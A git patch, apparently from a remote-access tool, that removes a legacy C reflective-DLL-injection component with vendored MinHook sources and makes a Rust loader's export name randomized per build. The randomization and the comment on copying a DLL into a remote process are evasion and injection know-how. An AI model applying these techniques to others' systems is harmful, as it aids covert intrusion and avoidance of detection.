From 4ed32f6b65a639e4b425b7fcc3b8b7296b83fb74 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 20 Aug 2026 10:57:56 -0500 Subject: [PATCH] remove old backstage injection and remove all legacy code --- BackstageInjection-Rust/build.rs | 31 +- BackstageInjection-Rust/src/reflective.rs | 13 +- BackstageInjection/BackstageInjection.vcxproj | 300 ---- .../BackstageInjection.vcxproj.filters | 38 - BackstageInjection/Minhook/include/MinHook.h | 185 --- BackstageInjection/Minhook/src/buffer.c | 312 ----- BackstageInjection/Minhook/src/buffer.h | 42 - BackstageInjection/Minhook/src/hde/hde32.c | 324 ----- BackstageInjection/Minhook/src/hde/hde32.h | 105 -- BackstageInjection/Minhook/src/hde/hde64.c | 335 ----- BackstageInjection/Minhook/src/hde/hde64.h | 112 -- BackstageInjection/Minhook/src/hde/pstdint.h | 39 - BackstageInjection/Minhook/src/hde/table32.h | 73 - BackstageInjection/Minhook/src/hde/table64.h | 74 - BackstageInjection/Minhook/src/hook.c | 939 ------------- BackstageInjection/Minhook/src/trampoline.c | 320 ----- BackstageInjection/Minhook/src/trampoline.h | 105 -- BackstageInjection/src/MinHook.h | 185 --- BackstageInjection/src/NtApiHooks.c | 1201 ----------------- BackstageInjection/src/NtApiHooks.h | 23 - .../src/ReflectiveDLLInjection.h | 51 - BackstageInjection/src/ReflectiveDll.c | 43 - BackstageInjection/src/ReflectiveLoader.c | 562 -------- BackstageInjection/src/ReflectiveLoader.h | 215 --- BackstageInjection/src/obfstr.h | 57 - BackstageInjection/src/seh_compat.h | 18 - .../agent/capture/backstage_inject_windows.go | 6 +- .../capture/backstage_inject_windows_test.go | 6 +- .../cmd/agent/wire/wire_contract_generated.go | 8 +- .../cmd/agent/wire/wire_contract_test.go | 15 +- .../src/command-compatibility.test.ts | 25 +- .../src/generated/wire-contract.ts | 14 +- Overlord-Server/src/protocol-contract.test.ts | 6 +- .../src/server/backstage-dll-cache.test.ts | 11 +- .../src/server/backstage-dll-cache.ts | 64 +- .../src/server/backstage-dll-manager.ts | 8 +- .../src/server/ws-console-rd-backstage.ts | 5 +- protocol/wire-contract.json | 26 +- protocol/wire-contract.schema.json | 1 + scripts/build-backstage-dll.bat | 13 +- scripts/build-backstage-dll.sh | 12 +- scripts/generate-wire-protocol.ts | 11 +- scripts/obfuscate-strings.py | 4 +- 43 files changed, 142 insertions(+), 5795 deletions(-) delete mode 100644 BackstageInjection/BackstageInjection.vcxproj delete mode 100644 BackstageInjection/BackstageInjection.vcxproj.filters delete mode 100644 BackstageInjection/Minhook/include/MinHook.h delete mode 100644 BackstageInjection/Minhook/src/buffer.c delete mode 100644 BackstageInjection/Minhook/src/buffer.h delete mode 100644 BackstageInjection/Minhook/src/hde/hde32.c delete mode 100644 BackstageInjection/Minhook/src/hde/hde32.h delete mode 100644 BackstageInjection/Minhook/src/hde/hde64.c delete mode 100644 BackstageInjection/Minhook/src/hde/hde64.h delete mode 100644 BackstageInjection/Minhook/src/hde/pstdint.h delete mode 100644 BackstageInjection/Minhook/src/hde/table32.h delete mode 100644 BackstageInjection/Minhook/src/hde/table64.h delete mode 100644 BackstageInjection/Minhook/src/hook.c delete mode 100644 BackstageInjection/Minhook/src/trampoline.c delete mode 100644 BackstageInjection/Minhook/src/trampoline.h delete mode 100644 BackstageInjection/src/MinHook.h delete mode 100644 BackstageInjection/src/NtApiHooks.c delete mode 100644 BackstageInjection/src/NtApiHooks.h delete mode 100644 BackstageInjection/src/ReflectiveDLLInjection.h delete mode 100644 BackstageInjection/src/ReflectiveDll.c delete mode 100644 BackstageInjection/src/ReflectiveLoader.c delete mode 100644 BackstageInjection/src/ReflectiveLoader.h delete mode 100644 BackstageInjection/src/obfstr.h delete mode 100644 BackstageInjection/src/seh_compat.h diff --git a/BackstageInjection-Rust/build.rs b/BackstageInjection-Rust/build.rs index c4b30c5..91e77f9 100644 --- a/BackstageInjection-Rust/build.rs +++ b/BackstageInjection-Rust/build.rs @@ -31,23 +31,19 @@ fn main() { } fn generate_loader_entry() { - let name = match std::env::var("BACKSTAGE_LOADER_EXPORT").ok().as_deref() { - Some("ReflectiveLoader") => "ReflectiveLoader".to_string(), - Some(value) => panic!("unsupported BACKSTAGE_LOADER_EXPORT value: {value}"), - None => { - let seed = std::env::var("BACKSTAGE_LOADER_SEED") - .ok() - .and_then(|value| value.parse::().ok()) - .unwrap_or_else(|| { - SystemTime::now() - .duration_since(UNIX_EPOCH) - .unwrap() - .as_nanos() as u64 - ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15) - }); - format!("x{:06x}", seed & 0xFFFF_FF) - } - }; + // The loader export is always a per-build randomized `x` name. The + // legacy fixed `ReflectiveLoader` export is no longer supported. + let seed = std::env::var("BACKSTAGE_LOADER_SEED") + .ok() + .and_then(|value| value.parse::().ok()) + .unwrap_or_else(|| { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as u64 + ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15) + }); + let name = format!("x{:06x}", seed & 0xFFFF_FF); let src = format!( "// Generated by build.rs — do not edit.\n\ @@ -63,6 +59,5 @@ fn generate_loader_entry() { let out_dir = std::env::var("OUT_DIR").unwrap(); std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src) .expect("failed to write loader_entry.rs"); - println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_EXPORT"); println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED"); } diff --git a/BackstageInjection-Rust/src/reflective.rs b/BackstageInjection-Rust/src/reflective.rs index 991b1e5..8de64b7 100644 --- a/BackstageInjection-Rust/src/reflective.rs +++ b/BackstageInjection-Rust/src/reflective.rs @@ -1,11 +1,12 @@ //! Position-independent reflective loader, pure Rust (no C). //! -//! This is a direct port of the Harmony Security `ReflectiveLoader` that was -//! previously compiled from `reflective/ReflectiveLoader.c`. The injection -//! stubs (`inject_reflective`) copy this DLL's raw bytes into a remote process -//! and start a thread on our exported `ReflectiveLoader`. When that thread -//! begins, the copied image is *not* relocated and its imports are *not* -//! resolved, so this function must be position independent end to end: +//! This is a direct port of the Harmony Security `ReflectiveLoader` approach. +//! The injection stubs (`inject_reflective`) copy this DLL's raw bytes into a +//! remote process and start a thread on our exported loader entry, whose name +//! is randomized per build (see build.rs) rather than a fixed string. When +//! that thread begins, the copied image is *not* relocated and its imports +//! are *not* resolved, so this function must be position independent end to +//! end: //! //! - It never reads relocatable data. All image structures are reached by //! computing addresses at runtime and reading with volatile scalar loads. diff --git a/BackstageInjection/BackstageInjection.vcxproj b/BackstageInjection/BackstageInjection.vcxproj deleted file mode 100644 index 3cbec47..0000000 --- a/BackstageInjection/BackstageInjection.vcxproj +++ /dev/null @@ -1,300 +0,0 @@ - - - - - Debug - ARM - - - Debug - Win32 - - - Debug - x64 - - - Release - ARM - - - Release - Win32 - - - Release - x64 - - - - {483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC} - BackstageInjection - Win32Proj - - - - DynamicLibrary - v143 - Unicode - true - - - DynamicLibrary - v143 - Unicode - true - - - DynamicLibrary - false - v143 - false - Unicode - - - DynamicLibrary - v143 - Unicode - - - DynamicLibrary - v143 - Unicode - false - - - DynamicLibrary - false - v143 - false - Unicode - - - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>11.0.50727.1 - - - $(SolutionDir)$(Configuration)\ - $(Configuration)\ - true - - - true - - - $(SolutionDir)$(Platform)\$(Configuration)\ - $(Platform)\$(Configuration)\ - true - - - $(SolutionDir)$(Configuration)\ - $(Configuration)\ - false - - - false - - - $(SolutionDir)$(Platform)\$(Configuration)\ - $(Platform)\$(Configuration)\ - false - - - - MinSpace - OnlyExplicitInline - true - WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - MultiThreaded - true - - Level3 - ProgramDatabase - - - true - Windows - true - true - MachineX86 - - - - - Disabled - WIN32;WIN_ARM;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebugDLL - - - Level3 - EditAndContinue - - - true - Windows - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - true - Size - false - WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - $(OutDir)$(ProjectName).x64.dll - true - Windows - true - true - MachineX64 - - - if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" - if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" - copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" - copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" - - - - - MaxSpeed - OnlyExplicitInline - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - MultiThreaded - true - - Level3 - ProgramDatabase - - - true - Windows - true - true - MachineX86 - - - - - MinSpace - OnlyExplicitInline - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - MultiThreaded - true - - - Level3 - ProgramDatabase - true - Default - - - true - Windows - true - true - $(OutDir)$(ProjectName).arm.dll - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - true - Size - false - WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - $(OutDir)$(ProjectName).x64.dll - true - Windows - true - true - MachineX64 - - - if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" - if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" - copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" - copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" - - - - - - - - CompileAsC - - - CompileAsC - - - CompileAsC - - - CompileAsC - - - CompileAsC - - - - - - - - - - - - diff --git a/BackstageInjection/BackstageInjection.vcxproj.filters b/BackstageInjection/BackstageInjection.vcxproj.filters deleted file mode 100644 index e4b42bb..0000000 --- a/BackstageInjection/BackstageInjection.vcxproj.filters +++ /dev/null @@ -1,38 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hpp;hxx;hm;inl;inc;xsd - - - - - Source Files - - - Source Files - - - Source Files - - - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - diff --git a/BackstageInjection/Minhook/include/MinHook.h b/BackstageInjection/Minhook/include/MinHook.h deleted file mode 100644 index ae39350..0000000 --- a/BackstageInjection/Minhook/include/MinHook.h +++ /dev/null @@ -1,185 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) - #error MinHook supports only x86 and x64 systems. -#endif - -#include - -// MinHook Error Codes. -typedef enum MH_STATUS -{ - // Unknown error. Should not be returned. - MH_UNKNOWN = -1, - - // Successful. - MH_OK = 0, - - // MinHook is already initialized. - MH_ERROR_ALREADY_INITIALIZED, - - // MinHook is not initialized yet, or already uninitialized. - MH_ERROR_NOT_INITIALIZED, - - // The hook for the specified target function is already created. - MH_ERROR_ALREADY_CREATED, - - // The hook for the specified target function is not created yet. - MH_ERROR_NOT_CREATED, - - // The hook for the specified target function is already enabled. - MH_ERROR_ENABLED, - - // The hook for the specified target function is not enabled yet, or already - // disabled. - MH_ERROR_DISABLED, - - // The specified pointer is invalid. It points the address of non-allocated - // and/or non-executable region. - MH_ERROR_NOT_EXECUTABLE, - - // The specified target function cannot be hooked. - MH_ERROR_UNSUPPORTED_FUNCTION, - - // Failed to allocate memory. - MH_ERROR_MEMORY_ALLOC, - - // Failed to change the memory protection. - MH_ERROR_MEMORY_PROTECT, - - // The specified module is not loaded. - MH_ERROR_MODULE_NOT_FOUND, - - // The specified function is not found. - MH_ERROR_FUNCTION_NOT_FOUND -} -MH_STATUS; - -// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, -// MH_QueueEnableHook or MH_QueueDisableHook. -#define MH_ALL_HOOKS NULL - -#ifdef __cplusplus -extern "C" { -#endif - - // Initialize the MinHook library. You must call this function EXACTLY ONCE - // at the beginning of your program. - MH_STATUS WINAPI MH_Initialize(VOID); - - // Uninitialize the MinHook library. You must call this function EXACTLY - // ONCE at the end of your program. - MH_STATUS WINAPI MH_Uninitialize(VOID); - - // Creates a hook for the specified target function, in disabled state. - // Parameters: - // pTarget [in] A pointer to the target function, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal); - - // Creates a hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszProcName [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApi( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal); - - // Creates a hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszProcName [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - // ppTarget [out] A pointer to the target function, which will be used - // with other functions. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApiEx( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget); - - // Removes an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); - - // Enables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // enabled in one go. - MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); - - // Disables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // disabled in one go. - MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); - - // Queues to enable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be enabled. - MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); - - // Queues to disable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be disabled. - MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); - - // Applies all queued changes in one go. - MH_STATUS WINAPI MH_ApplyQueued(VOID); - - // Translates the MH_STATUS to its name as a string. - const char *WINAPI MH_StatusToString(MH_STATUS status); - -#ifdef __cplusplus -} -#endif diff --git a/BackstageInjection/Minhook/src/buffer.c b/BackstageInjection/Minhook/src/buffer.c deleted file mode 100644 index 940df65..0000000 --- a/BackstageInjection/Minhook/src/buffer.c +++ /dev/null @@ -1,312 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "buffer.h" - -// Size of each memory block. (= page size of VirtualAlloc) -#define MEMORY_BLOCK_SIZE 0x1000 - -// Max range for seeking a memory block. (= 1024MB) -#define MAX_MEMORY_RANGE 0x40000000 - -// Memory protection flags to check the executable address. -#define PAGE_EXECUTE_FLAGS \ - (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY) - -// Memory slot. -typedef struct _MEMORY_SLOT -{ - union - { - struct _MEMORY_SLOT *pNext; - UINT8 buffer[MEMORY_SLOT_SIZE]; - }; -} MEMORY_SLOT, *PMEMORY_SLOT; - -// Memory block info. Placed at the head of each block. -typedef struct _MEMORY_BLOCK -{ - struct _MEMORY_BLOCK *pNext; - PMEMORY_SLOT pFree; // First element of the free slot list. - UINT usedCount; -} MEMORY_BLOCK, *PMEMORY_BLOCK; - -//------------------------------------------------------------------------- -// Global Variables: -//------------------------------------------------------------------------- - -// First element of the memory block list. -static PMEMORY_BLOCK g_pMemoryBlocks; - -//------------------------------------------------------------------------- -VOID InitializeBuffer(VOID) -{ - // Nothing to do for now. -} - -//------------------------------------------------------------------------- -VOID UninitializeBuffer(VOID) -{ - PMEMORY_BLOCK pBlock = g_pMemoryBlocks; - g_pMemoryBlocks = NULL; - - while (pBlock) - { - PMEMORY_BLOCK pNext = pBlock->pNext; - VirtualFree(pBlock, 0, MEM_RELEASE); - pBlock = pNext; - } -} - -//------------------------------------------------------------------------- -#if defined(_M_X64) || defined(__x86_64__) -static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity) -{ - ULONG_PTR tryAddr = (ULONG_PTR)pAddress; - - // Round down to the allocation granularity. - tryAddr -= tryAddr % dwAllocationGranularity; - - // Start from the previous allocation granularity multiply. - tryAddr -= dwAllocationGranularity; - - while (tryAddr >= (ULONG_PTR)pMinAddr) - { - MEMORY_BASIC_INFORMATION mbi; - if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) - break; - - if (mbi.State == MEM_FREE) - return (LPVOID)tryAddr; - - if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity) - break; - - tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity; - } - - return NULL; -} -#endif - -//------------------------------------------------------------------------- -#if defined(_M_X64) || defined(__x86_64__) -static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity) -{ - ULONG_PTR tryAddr = (ULONG_PTR)pAddress; - - // Round down to the allocation granularity. - tryAddr -= tryAddr % dwAllocationGranularity; - - // Start from the next allocation granularity multiply. - tryAddr += dwAllocationGranularity; - - while (tryAddr <= (ULONG_PTR)pMaxAddr) - { - MEMORY_BASIC_INFORMATION mbi; - if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) - break; - - if (mbi.State == MEM_FREE) - return (LPVOID)tryAddr; - - tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize; - - // Round up to the next allocation granularity. - tryAddr += dwAllocationGranularity - 1; - tryAddr -= tryAddr % dwAllocationGranularity; - } - - return NULL; -} -#endif - -//------------------------------------------------------------------------- -static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin) -{ - PMEMORY_BLOCK pBlock; -#if defined(_M_X64) || defined(__x86_64__) - ULONG_PTR minAddr; - ULONG_PTR maxAddr; - - SYSTEM_INFO si; - GetSystemInfo(&si); - minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress; - maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress; - - // pOrigin ± 512MB - if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE) - minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE; - - if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE) - maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE; - - // Make room for MEMORY_BLOCK_SIZE bytes. - maxAddr -= MEMORY_BLOCK_SIZE - 1; -#endif - - // Look the registered blocks for a reachable one. - for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext) - { -#if defined(_M_X64) || defined(__x86_64__) - // Ignore the blocks too far. - if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr) - continue; -#endif - // The block has at least one unused slot. - if (pBlock->pFree != NULL) - return pBlock; - } - -#if defined(_M_X64) || defined(__x86_64__) - // Alloc a new block above if not found. - { - LPVOID pAlloc = pOrigin; - while ((ULONG_PTR)pAlloc >= minAddr) - { - pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity); - if (pAlloc == NULL) - break; - - pBlock = (PMEMORY_BLOCK)VirtualAlloc( - pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (pBlock != NULL) - break; - } - } - - // Alloc a new block below if not found. - if (pBlock == NULL) - { - LPVOID pAlloc = pOrigin; - while ((ULONG_PTR)pAlloc <= maxAddr) - { - pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity); - if (pAlloc == NULL) - break; - - pBlock = (PMEMORY_BLOCK)VirtualAlloc( - pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (pBlock != NULL) - break; - } - } -#else - // In x86 mode, a memory block can be placed anywhere. - pBlock = (PMEMORY_BLOCK)VirtualAlloc( - NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); -#endif - - if (pBlock != NULL) - { - // Build a linked list of all the slots. - PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1; - pBlock->pFree = NULL; - pBlock->usedCount = 0; - do - { - pSlot->pNext = pBlock->pFree; - pBlock->pFree = pSlot; - pSlot++; - } while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE); - - pBlock->pNext = g_pMemoryBlocks; - g_pMemoryBlocks = pBlock; - } - - return pBlock; -} - -//------------------------------------------------------------------------- -LPVOID AllocateBuffer(LPVOID pOrigin) -{ - PMEMORY_SLOT pSlot; - PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin); - if (pBlock == NULL) - return NULL; - - // Remove an unused slot from the list. - pSlot = pBlock->pFree; - pBlock->pFree = pSlot->pNext; - pBlock->usedCount++; -#ifdef _DEBUG - // Fill the slot with INT3 for debugging. - memset(pSlot, 0xCC, sizeof(MEMORY_SLOT)); -#endif - return pSlot; -} - -//------------------------------------------------------------------------- -VOID FreeBuffer(LPVOID pBuffer) -{ - PMEMORY_BLOCK pBlock = g_pMemoryBlocks; - PMEMORY_BLOCK pPrev = NULL; - ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE; - - while (pBlock != NULL) - { - if ((ULONG_PTR)pBlock == pTargetBlock) - { - PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer; -#ifdef _DEBUG - // Clear the released slot for debugging. - memset(pSlot, 0x00, sizeof(MEMORY_SLOT)); -#endif - // Restore the released slot to the list. - pSlot->pNext = pBlock->pFree; - pBlock->pFree = pSlot; - pBlock->usedCount--; - - // Free if unused. - if (pBlock->usedCount == 0) - { - if (pPrev) - pPrev->pNext = pBlock->pNext; - else - g_pMemoryBlocks = pBlock->pNext; - - VirtualFree(pBlock, 0, MEM_RELEASE); - } - - break; - } - - pPrev = pBlock; - pBlock = pBlock->pNext; - } -} - -//------------------------------------------------------------------------- -BOOL IsExecutableAddress(LPVOID pAddress) -{ - MEMORY_BASIC_INFORMATION mi; - VirtualQuery(pAddress, &mi, sizeof(mi)); - - return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS)); -} diff --git a/BackstageInjection/Minhook/src/buffer.h b/BackstageInjection/Minhook/src/buffer.h deleted file mode 100644 index 204d551..0000000 --- a/BackstageInjection/Minhook/src/buffer.h +++ /dev/null @@ -1,42 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN 